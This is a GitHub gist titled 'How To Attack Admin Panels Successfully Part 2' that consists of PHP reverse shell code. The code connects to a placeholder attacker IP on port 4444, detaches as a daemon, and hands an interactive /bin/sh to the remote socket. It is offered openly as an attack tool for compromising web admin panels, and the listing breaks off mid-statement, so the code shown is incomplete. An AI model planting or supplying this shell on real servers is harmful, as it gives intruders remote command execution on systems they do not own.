Skip to content

Instantly share code, notes, and snippets.

@c0d3x27
Created January 4, 2023 21:01
Show Gist options
  • Save c0d3x27/15c8a59c0bd90da624f95352d2686f0c to your computer and use it in GitHub Desktop.
Save c0d3x27/15c8a59c0bd90da624f95352d2686f0c to your computer and use it in GitHub Desktop.
How To Attack Admin Panels Successfully Part 2
<?php
$ip = 'ATTACKER_IP_ADDRESS';
$port = '4444';
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
set_time_limit (0);
ob_implicit_flush();
$use_ssl = 0;
$ssl_crt = null;
$ssl_key = null;
function printit ($string)
{
if (!$daemon)
{
print "$string\n";
}
}
if (function_exists('pcntl_fork'))
{
$pid = pcntl_fork();
if ($pid == -1)
{
printit('error: could not fork');
exit(1);
}
if ($pid)
{
exit(0);
}
if (posix_setsid() == -1)
{
printit('error: could not setsid');
exit(1);
}
$daemon = 1;
}
else
{
printit('warning: pcntl_fork is not available, continuing in daemon mode');
}
chdir('/');
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock)
{
printit('error: could not connect to attacker');
exit(1);
}
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process))
{
printit('error: could not execute shell');
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while (1)
{
if (feof($sock))
{
printit('error: connection terminated');
break;
}
if (feof($pipes[1]))
{
printit('error: shell terminated');
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets =
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment